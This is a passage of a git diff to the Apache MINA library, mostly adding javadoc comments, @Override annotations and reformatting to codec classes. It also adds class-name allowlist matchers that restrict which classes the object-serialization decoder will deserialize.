b/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringEncoder.java @@ -34,10 +34,11 @@ * @author Apache MINA Project */ public class PrefixedStringEncoder extends ProtocolEncoderAdapter { + /** The default length for the prefix */ + public static final int DEFAULT_PREFIX_LENGTH = 4; - public final static int DEFAULT_PREFIX_LENGTH = 4; - - public final static int DEFAULT_MAX_DATA_LENGTH = 2048; + /** The default maximum data length */ + public static final int DEFAULT_MAX_DATA_LENGTH = 2048; private final Charset charset; @@ -45,20 +46,41 @@ public class PrefixedStringEncoder extends ProtocolEncoderAdapter { private int maxDataLength = DEFAULT_MAX_DATA_LENGTH; + /** + * Creates a new PrefixedStringEncoder instance + * + * @param charset the {@link Charset} to use for encoding + * @param prefixLength the length of the prefix + * @param maxDataLength maximum number of bytes allowed for a single String + */ public PrefixedStringEncoder(Charset charset, int prefixLength, int maxDataLength) { this.charset = charset; this.prefixLength = prefixLength; this.maxDataLength = maxDataLength; } + /** + * Creates a new PrefixedStringEncoder instance + * + * @param charset the {@link Charset} to use for encoding + * @param prefixLength the length of the prefix + */ public PrefixedStringEncoder(Charset charset, int prefixLength) { this(charset, prefixLength, DEFAULT_MAX_DATA_LENGTH); } + /** + * Creates a new PrefixedStringEncoder instance + * + * @param charset the {@link Charset} to use for encoding + */ public PrefixedStringEncoder(Charset charset) { this(charset, DEFAULT_PREFIX_LENGTH); } + /** + * Creates a new PrefixedStringEncoder instance + */ public PrefixedStringEncoder() { this(Charset.defaultCharset()); } @@ -108,7 +130,10 @@ public int getMaxDataLength() { return maxDataLength; } - + /** + * {@inheritDoc} + */ + @Override public void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception { String value = (String) message; IoBuffer buffer = IoBuffer.allocate(value.length()).setAutoExpand(true); diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java index 50647512db..390c6a9d9c 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java @@ -19,7 +19,12 @@ */ package org.apache.mina.filter.codec.serialization; +import java.util.regex.Pattern; + import org.apache.mina.core.buffer.BufferDataException; +import org.apache.mina.core.buffer.matcher.ClassNameMatcher; +import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher; +import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher; import org.apache.mina.core.session.IoSession; import org.apache.mina.filter.codec.ProtocolCodecFactory; import org.apache.mina.filter.codec.ProtocolDecoder; @@ -47,22 +52,32 @@ public ObjectSerializationCodecFactory() { /** * Creates a new instance with the specified {@link ClassLoader}. + * + * @param classLoader The class loader to use */ public ObjectSerializationCodecFactory(ClassLoader classLoader) { encoder = new ObjectSerializationEncoder(); decoder = new ObjectSerializationDecoder(classLoader); } + /** + * {@inheritDoc} + */ + @Override public ProtocolEncoder getEncoder(IoSession session) { return encoder; } + /** + * {@inheritDoc} + */ + @Override public ProtocolDecoder getDecoder(IoSession session) { return decoder; } /** - * Returns the allowed maximum size of the encoded object. + * @return the allowed maximum size of the encoded object. * If the size of the encoded object exceeds this value, the encoder * will throw a {@link IllegalArgumentException}. The default value * is {@link Integer#MAX_VALUE}. @@ -80,16 +95,18 @@ public int getEncoderMaxObjectSize() { * is {@link Integer#MAX_VALUE}. *

* This method does the same job with {@link ObjectSerializationEncoder#setMaxObjectSize(int)}. + * + * @param maxObjectSize The maximum size of the encoded object */ public void setEncoderMaxObjectSize(int maxObjectSize) { encoder.setMaxObjectSize(maxObjectSize); } /** - * Returns the allowed maximum size of the object to be decoded. + * @return the allowed maximum size of the object to be decoded. * If the size of the object to be decoded exceeds this value, the * decoder will throw a {@link BufferDataException}. The default - * value is 1048576 (1MB). + * value is 1048576 (1MB). *

* This method does the same job with {@link ObjectSerializationDecoder#getMaxObjectSize()}. */ @@ -101,11 +118,46 @@ public int getDecoderMaxObjectSize() { * Sets the allowed maximum size of the object to be decoded. * If the size of the object to be decoded exceeds this value, the * decoder will throw a {@link BufferDataException}. The default - * value is 1048576 (1MB). + * value is 1048576 (1MB). *

* This method does the same job with {@link ObjectSerializationDecoder#setMaxObjectSize(int)}. + * + * @param maxObjectSize The maximum size of the decoded object */ public void setDecoderMaxObjectSize(int maxObjectSize) { decoder.setMaxObjectSize(maxObjectSize); } + + /** + * Accept class names where the supplied ClassNameMatcher matches for + * deserialization, unless they are otherwise rejected. + * + * @param classNameMatcher the matcher to use + */ + public void accept(ClassNameMatcher classNameMatcher) { + decoder.accept(classNameMatcher); + } + + /** + * Accept class names that match the supplied pattern for + * deserialization, unless they are otherwise rejected. + * + * @param pattern standard Java regexp + */ + public void accept(Pattern pattern) { + decoder.accept(new RegexpClassNameMatcher(pattern)); + } + + /** + * Accept the wildcard specified classes for deserialization, + * unless they are otherwise rejected. + * + * @param patterns Wildcard file name patterns as defined by + * org.apache.commons.io.FilenameUtils.wildcardMatch(String, String) + */ + public void accept(String... patterns) { + for (String pattern:patterns) { + decoder.accept(new WildcardClassNameMatcher(pattern)); + } + } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java index bc4122d6e8..9dbac68ce8 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java @@ -20,9 +20,15 @@ package org.apache.mina.filter.codec.serialization; import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Pattern; import org.apache.mina.core.buffer.BufferDataException; import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.buffer.matcher.ClassNameMatcher; +import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher; +import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher; import org.apache.mina.core.session.IoSession; import org.apache.mina.filter.codec.CumulativeProtocolDecoder; import org.apache.mina.filter.codec.ProtocolDecoder; @@ -39,6 +45,9 @@ public class ObjectSerializationDecoder extends CumulativeProtocolDecoder { private int maxObjectSize = 1048576; // 1MB + /** The classes we accept when deserializing a binary blob */ + private final List acceptMatchers = new ArrayList<>(); + /** * Creates a new instance with the {@link ClassLoader} of * the current thread. @@ -49,6 +58,8 @@ public ObjectSerializationDecoder() { /** * Creates a new instance with the specified {@link ClassLoader}. + * + * @param classLoader The class loader to use */ public ObjectSerializationDecoder(ClassLoader classLoader) { if (classLoader == null) { @@ -58,10 +69,10 @@ public ObjectSerializationDecoder(ClassLoader classLoader) { } /** - * Returns the allowed maximum size of the object to be decoded. + * @return the allowed maximum size of the object to be decoded. * If the size of the object to be decoded exceeds this value, this * decoder will throw a {@link BufferDataException}. The default - * value is 1048576 (1MB). + * value is 1048576 (1MB). */ public int getMaxObjectSize() { return maxObjectSize; @@ -71,25 +82,63 @@ public int getMaxObjectSize() { * Sets the allowed maximum size of the object to be decoded. * If the size of the object to be decoded exceeds this value, this * decoder will throw a {@link BufferDataException}. The default - * value is 1048576 (1MB). + * value is 1048576 (1MB). + * + * @param maxObjectSize The maximum size for an object to be decoded */ public void setMaxObjectSize(int maxObjectSize) { if (maxObjectSize <= 0) { - throw new IllegalArgumentException("maxObjectSize: " - + maxObjectSize); + throw new IllegalArgumentException("maxObjectSize: " + maxObjectSize); } this.maxObjectSize = maxObjectSize; } + /** + * {@inheritDoc} + */ @Override - protected boolean doDecode(IoSession session, IoBuffer in, - ProtocolDecoderOutput out) throws Exception { + protected boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { if (!in.prefixedDataAvailable(4, maxObjectSize)) { return false; } + + in.setMatchers(acceptMatchers); out.write(in.getObject(classLoader)); return true; } + + /** + * Accept class names where the supplied ClassNameMatcher matches for + * deserialization, unless they are otherwise rejected. + * + * @param classNameMatcher the matcher to use + */ + public void accept(ClassNameMatcher classNameMatcher) { + acceptMatchers.add(classNameMatcher); + } + + /** + * Accept class names that match the supplied pattern for + * deserialization, unless they are otherwise rejected. + * + * @param pattern standard Java regexp + */ + public void accept(Pattern pattern) { + acceptMatchers.add(new RegexpClassNameMatcher(pattern)); + } + + /** + * Accept the wildcard specified classes for deserialization, + * unless they are otherwise rejected. + * + * @param patterns Wildcard file name patterns as defined by + * org.apache.commons.io.FilenameUtils.wildcardMatch(String, String) + */ + public void accept(String... patterns) { + for (String pattern:patterns) { + acceptMatchers.add(new WildcardClassNameMatcher(pattern)); + } + } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationEncoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationEncoder.java index 937fabfa03..70fdf16964 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationEncoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationEncoder.java @@ -45,7 +45,7 @@ public ObjectSerializationEncoder() { } /** - * Returns the allowed maximum size of the encoded object. + * @return the allowed maximum size of the encoded object. * If the size of the encoded object exceeds this value, this encoder * will throw a {@link IllegalArgumentException}. The default value * is {@link Integer#MAX_VALUE}. @@ -59,18 +59,22 @@ public int getMaxObjectSize() { * If the size of the encoded object exceeds this value, this encoder * will throw a {@link IllegalArgumentException}. The default value * is {@link Integer#MAX_VALUE}. + * + * @param maxObjectSize the maximum size for an encoded object */ public void setMaxObjectSize(int maxObjectSize) { if (maxObjectSize <= 0) { - throw new IllegalArgumentException("maxObjectSize: " - + maxObjectSize); + throw new IllegalArgumentException("maxObjectSize: " + maxObjectSize); } this.maxObjectSize = maxObjectSize; } - public void encode(IoSession session, Object message, - ProtocolEncoderOutput out) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception { if (!(message instanceof Serializable)) { throw new NotSerializableException(); } @@ -81,9 +85,8 @@ public void encode(IoSession session, Object message, int objectSize = buf.position() - 4; if (objectSize > maxObjectSize) { - throw new IllegalArgumentException( - "The encoded object is too big: " + objectSize + " (> " - + maxObjectSize + ')'); + throw new IllegalArgumentException("The encoded object is too big: " + objectSize + " (> " + maxObjectSize + + ')'); } buf.flip(); diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationInputStream.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationInputStream.java index 0d70e7c8ce..37d1928e32 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationInputStream.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationInputStream.java @@ -35,8 +35,7 @@ * * @author Apache MINA Project */ -public class ObjectSerializationInputStream extends InputStream implements - ObjectInput { +public class ObjectSerializationInputStream extends InputStream implements ObjectInput { private final DataInputStream in; @@ -44,17 +43,28 @@ public class ObjectSerializationInputStream extends InputStream implements private int maxObjectSize = 1048576; + /** + * Create a new instance of an ObjectSerializationInputStream + * @param in The {@link InputStream} to use + */ public ObjectSerializationInputStream(InputStream in) { this(in, null); } - public ObjectSerializationInputStream(InputStream in, - ClassLoader classLoader) { + /** + * Create a new instance of an ObjectSerializationInputStream + * @param in The {@link InputStream} to use + * @param classLoader The class loader to use + */ + public ObjectSerializationInputStream(InputStream in, ClassLoader classLoader) { if (in == null) { throw new IllegalArgumentException("in"); } + if (classLoader == null) { - classLoader = Thread.currentThread().getContextClassLoader(); + this.classLoader = Thread.currentThread().getContextClassLoader(); + } else { + this.classLoader = classLoader; } if (in instanceof DataInputStream) { @@ -62,15 +72,13 @@ public ObjectSerializationInputStream(InputStream in, } else { this.in = new DataInputStream(in); } - - this.classLoader = classLoader; } /** - * Returns the allowed maximum size of the object to be decoded. + * @return the allowed maximum size of the object to be decoded. * If the size of the object to be decoded exceeds this value, this * decoder will throw a {@link BufferDataException}. The default - * value is 1048576 (1MB). + * value is 1048576 (1MB). */ public int getMaxObjectSize() { return maxObjectSize; @@ -80,31 +88,38 @@ public int getMaxObjectSize() { * Sets the allowed maximum size of the object to be decoded. * If the size of the object to be decoded exceeds this value, this * decoder will throw a {@link BufferDataException}. The default - * value is 1048576 (1MB). + * value is 1048576 (1MB). + * + * @param maxObjectSize The maximum decoded object size */ public void setMaxObjectSize(int maxObjectSize) { if (maxObjectSize <= 0) { - throw new IllegalArgumentException("maxObjectSize: " - + maxObjectSize); + throw new IllegalArgumentException("maxObjectSize: " + maxObjectSize); } this.maxObjectSize = maxObjectSize; } + /** + * {@inheritDoc} + */ @Override public int read() throws IOException { return in.read(); } + /** + * {@inheritDoc} + */ + @Override public Object readObject() throws ClassNotFoundException, IOException { int objectSize = in.readInt(); if (objectSize <= 0) { - throw new StreamCorruptedException("Invalid objectSize: " - + objectSize); + throw new StreamCorruptedException("Invalid objectSize: " + objectSize); } if (objectSize > maxObjectSize) { - throw new StreamCorruptedException("ObjectSize too big: " - + objectSize + " (expected: <= " + maxObjectSize + ')'); + throw new StreamCorruptedException("ObjectSize too big: " + objectSize + " (expected: <= " + maxObjectSize + + ')'); } IoBuffer buf = IoBuffer.allocate(objectSize + 4, false); @@ -116,67 +131,124 @@ public Object readObject() throws ClassNotFoundException, IOException { return buf.getObject(classLoader); } + /** + * {@inheritDoc} + */ + @Override public boolean readBoolean() throws IOException { return in.readBoolean(); } + /** + * {@inheritDoc} + */ + @Override public byte readByte() throws IOException { return in.readByte(); } + /** + * {@inheritDoc} + */ + @Override public char readChar() throws IOException { return in.readChar(); } + /** + * {@inheritDoc} + */ + @Override public double readDouble() throws IOException { return in.readDouble(); } + /** + * {@inheritDoc} + */ + @Override public float readFloat() throws IOException { return in.readFloat(); } + /** + * {@inheritDoc} + */ + @Override public void readFully(byte[] b) throws IOException { in.readFully(b); } + /** + * {@inheritDoc} + */ + @Override public void readFully(byte[] b, int off, int len) throws IOException { in.readFully(b, off, len); } + /** + * {@inheritDoc} + */ + @Override public int readInt() throws IOException { return in.readInt(); } /** * @see DataInput#readLine() - * @deprecated + * @deprecated Bytes are not properly converted to chars */ @Deprecated + @Override public String readLine() throws IOException { return in.readLine(); } + /** + * {@inheritDoc} + */ + @Override public long readLong() throws IOException { return in.readLong(); } + /** + * {@inheritDoc} + */ + @Override public short readShort() throws IOException { return in.readShort(); } + /** + * {@inheritDoc} + */ + @Override public String readUTF() throws IOException { return in.readUTF(); } + /** + * {@inheritDoc} + */ + @Override public int readUnsignedByte() throws IOException { return in.readUnsignedByte(); } + /** + * {@inheritDoc} + */ + @Override public int readUnsignedShort() throws IOException { return in.readUnsignedShort(); } + /** + * {@inheritDoc} + */ + @Override public int skipBytes(int n) throws IOException { return in.skipBytes(n); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationOutputStream.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationOutputStream.java index 67d9361823..c5e8898182 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationOutputStream.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationOutputStream.java @@ -32,13 +32,16 @@ * * @author Apache MINA Project */ -public class ObjectSerializationOutputStream extends OutputStream implements - ObjectOutput { +public class ObjectSerializationOutputStream extends OutputStream implements ObjectOutput { private final DataOutputStream out; private int maxObjectSize = Integer.MAX_VALUE; + /** + * Create a new instance of an ObjectSerializationOutputStream + * @param out The {@link OutputStream} to use + */ public ObjectSerializationOutputStream(OutputStream out) { if (out == null) { throw new IllegalArgumentException("out"); @@ -52,7 +55,7 @@ public ObjectSerializationOutputStream(OutputStream out) { } /** - * Returns the allowed maximum size of the encoded object. + * @return the allowed maximum size of the encoded object. * If the size of the encoded object exceeds this value, this encoder * will throw a {@link IllegalArgumentException}. The default value * is {@link Integer#MAX_VALUE}. @@ -66,41 +69,61 @@ public int getMaxObjectSize() { * If the size of the encoded object exceeds this value, this encoder * will throw a {@link IllegalArgumentException}. The default value * is {@link Integer#MAX_VALUE}. + * + * @param maxObjectSize The maximum object size */ public void setMaxObjectSize(int maxObjectSize) { if (maxObjectSize <= 0) { - throw new IllegalArgumentException("maxObjectSize: " - + maxObjectSize); + throw new IllegalArgumentException("maxObjectSize: " + maxObjectSize); } this.maxObjectSize = maxObjectSize; } + /** + * {@inheritDoc} + */ @Override public void close() throws IOException { out.close(); } + /** + * {@inheritDoc} + */ @Override public void flush() throws IOException { out.flush(); } + /** + * {@inheritDoc} + */ @Override public void write(int b) throws IOException { out.write(b); } + /** + * {@inheritDoc} + */ @Override public void write(byte[] b) throws IOException { out.write(b); } + /** + * {@inheritDoc} + */ @Override public void write(byte[] b, int off, int len) throws IOException { out.write(b, off, len); } + /** + * {@inheritDoc} + */ + @Override public void writeObject(Object obj) throws IOException { IoBuffer buf = IoBuffer.allocate(64, false); buf.setAutoExpand(true); @@ -108,54 +131,97 @@ public void writeObject(Object obj) throws IOException { int objectSize = buf.position() - 4; if (objectSize > maxObjectSize) { - throw new IllegalArgumentException( - "The encoded object is too big: " + objectSize + " (> " - + maxObjectSize + ')'); + throw new IllegalArgumentException("The encoded object is too big: " + objectSize + " (> " + maxObjectSize + + ')'); } out.write(buf.array(), 0, buf.position()); } + /** + * {@inheritDoc} + */ + @Override public void writeBoolean(boolean v) throws IOException { out.writeBoolean(v); } + /** + * {@inheritDoc} + */ + @Override public void writeByte(int v) throws IOException { out.writeByte(v); } + /** + * {@inheritDoc} + */ + @Override public void writeBytes(String s) throws IOException { out.writeBytes(s); } + /** + * {@inheritDoc} + */ + @Override public void writeChar(int v) throws IOException { out.writeChar(v); } + /** + * {@inheritDoc} + */ + @Override public void writeChars(String s) throws IOException { out.writeChars(s); } + /** + * {@inheritDoc} + */ + @Override public void writeDouble(double v) throws IOException { out.writeDouble(v); } + /** + * {@inheritDoc} + */ + @Override public void writeFloat(float v) throws IOException { out.writeFloat(v); } + /** + * {@inheritDoc} + */ + @Override public void writeInt(int v) throws IOException { out.writeInt(v); } + /** + * {@inheritDoc} + */ + @Override public void writeLong(long v) throws IOException { out.writeLong(v); } + /** + * {@inheritDoc} + */ + @Override public void writeShort(int v) throws IOException { out.writeShort(v); } + /** + * {@inheritDoc} + */ + @Override public void writeUTF(String str) throws IOException { out.writeUTF(str); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/package-info.java new file mode 100644 index 0000000000..7c7a4ea322 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Protocol codecs which uses Java object serilization and leads to rapid protocol implementation. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.codec.serialization; diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/package.html b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/package.html deleted file mode 100644 index 7c5e469db9..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -Protocol codecs which uses Java object serilization and leads to rapid protocol -implementation. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToCrLfDecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToCrLfDecodingState.java index 7b689c2e45..49b9294ae8 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToCrLfDecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToCrLfDecodingState.java @@ -51,8 +51,11 @@ public ConsumeToCrLfDecodingState() { // Do nothing } - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { int beginPos = in.position(); int limit = in.limit(); int terminatorPos = -1; @@ -99,16 +102,16 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) in.position(terminatorPos + 1); return finishDecode(product, out); } - + in.position(beginPos); - + if (buffer == null) { buffer = IoBuffer.allocate(in.remaining()); buffer.setAutoExpand(true); } buffer.put(in); - + if (lastIsCR) { buffer.position(buffer.position() - 1); } @@ -119,6 +122,7 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) /** * {@inheritDoc} */ + @Override public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { IoBuffer product; // When input contained only CR or LF rather than actual data... @@ -142,6 +146,5 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - protected abstract DecodingState finishDecode(IoBuffer product, - ProtocolDecoderOutput out) throws Exception; + protected abstract DecodingState finishDecode(IoBuffer product, ProtocolDecoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToDynamicTerminatorDecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToDynamicTerminatorDecodingState.java index 6b70593fb2..d26aa867d4 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToDynamicTerminatorDecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToDynamicTerminatorDecodingState.java @@ -28,16 +28,15 @@ * * @author Apache MINA Project */ -public abstract class ConsumeToDynamicTerminatorDecodingState implements - DecodingState { +public abstract class ConsumeToDynamicTerminatorDecodingState implements DecodingState { private IoBuffer buffer; /** * {@inheritDoc} */ - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { int beginPos = in.position(); int terminatorPos = -1; int limit = in.limit(); @@ -77,7 +76,7 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) in.position(terminatorPos + 1); return finishDecode(product, out); } - + if (buffer == null) { buffer = IoBuffer.allocate(in.remaining()); buffer.setAutoExpand(true); @@ -89,8 +88,8 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) /** * {@inheritDoc} */ - public DecodingState finishDecode(ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { IoBuffer product; // When input contained only terminator rather than actual data... if (buffer == null) { @@ -122,6 +121,5 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - protected abstract DecodingState finishDecode(IoBuffer product, - ProtocolDecoderOutput out) throws Exception; + protected abstract DecodingState finishDecode(IoBuffer product, ProtocolDecoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToEndOfSessionDecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToEndOfSessionDecodingState.java index eb49baf548..f53fe21b85 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToEndOfSessionDecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToEndOfSessionDecodingState.java @@ -32,8 +32,9 @@ public abstract class ConsumeToEndOfSessionDecodingState implements DecodingState { private IoBuffer buffer; + private final int maxLength; - + /** * Creates a new instance using the specified maximum length. * @@ -48,8 +49,8 @@ public ConsumeToEndOfSessionDecodingState(int maxLength) { /** * {@inheritDoc} */ - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { if (buffer == null) { buffer = IoBuffer.allocate(256).setAutoExpand(true); } @@ -64,8 +65,8 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) /** * {@inheritDoc} */ - public DecodingState finishDecode(ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { try { if (buffer == null) { buffer = IoBuffer.allocate(0); @@ -89,6 +90,5 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - protected abstract DecodingState finishDecode(IoBuffer product, - ProtocolDecoderOutput out) throws Exception; + protected abstract DecodingState finishDecode(IoBuffer product, ProtocolDecoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToLinearWhitespaceDecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToLinearWhitespaceDecodingState.java index 7a6e7c791e..46c5b8a0a9 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToLinearWhitespaceDecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToLinearWhitespaceDecodingState.java @@ -25,8 +25,7 @@ * * @author Apache MINA Project */ -public abstract class ConsumeToLinearWhitespaceDecodingState extends - ConsumeToDynamicTerminatorDecodingState { +public abstract class ConsumeToLinearWhitespaceDecodingState extends ConsumeToDynamicTerminatorDecodingState { /** * @return true if the given byte is a space or a tab diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToTerminatorDecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToTerminatorDecodingState.java index c779ff4b7d..a3afd62a9e 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToTerminatorDecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ConsumeToTerminatorDecodingState.java @@ -46,8 +46,8 @@ public ConsumeToTerminatorDecodingState(byte terminator) { /** * {@inheritDoc} */ - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { int terminatorPos = in.indexOf(terminator); if (terminatorPos >= 0) { @@ -83,7 +83,7 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) buffer = IoBuffer.allocate(in.remaining()); buffer.setAutoExpand(true); } - + buffer.put(in); return this; } @@ -91,8 +91,8 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) /** * {@inheritDoc} */ - public DecodingState finishDecode(ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { IoBuffer product; // When input contained only terminator rather than actual data... if (buffer == null) { @@ -115,6 +115,5 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - protected abstract DecodingState finishDecode(IoBuffer product, - ProtocolDecoderOutput out) throws Exception; + protected abstract DecodingState finishDecode(IoBuffer product, ProtocolDecoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/CrLfDecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/CrLfDecodingState.java index 09dc79eec7..45d80c03bc 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/CrLfDecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/CrLfDecodingState.java @@ -39,7 +39,7 @@ public abstract class CrLfDecodingState implements DecodingState { * Carriage return character */ private static final byte CR = 13; - + /** * Line feed character */ @@ -50,8 +50,8 @@ public abstract class CrLfDecodingState implements DecodingState { /** * {@inheritDoc} */ - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { boolean found = false; boolean finished = false; while (in.hasRemaining()) { @@ -75,9 +75,8 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) finished = true; break; } - - throw new ProtocolDecoderException( - "Expected LF after CR but was: " + (b & 0xff)); + + throw new ProtocolDecoderException("Expected LF after CR but was: " + (b & 0xff)); } } @@ -85,15 +84,15 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) hasCR = false; return finishDecode(found, out); } - + return this; } /** * {@inheritDoc} */ - public DecodingState finishDecode(ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { return finishDecode(false, out); } @@ -108,6 +107,5 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - protected abstract DecodingState finishDecode(boolean foundCRLF, - ProtocolDecoderOutput out) throws Exception; + protected abstract DecodingState finishDecode(boolean foundCRLF, ProtocolDecoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingState.java index 7e347d293c..d0bc8e9ba6 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingState.java @@ -40,13 +40,12 @@ 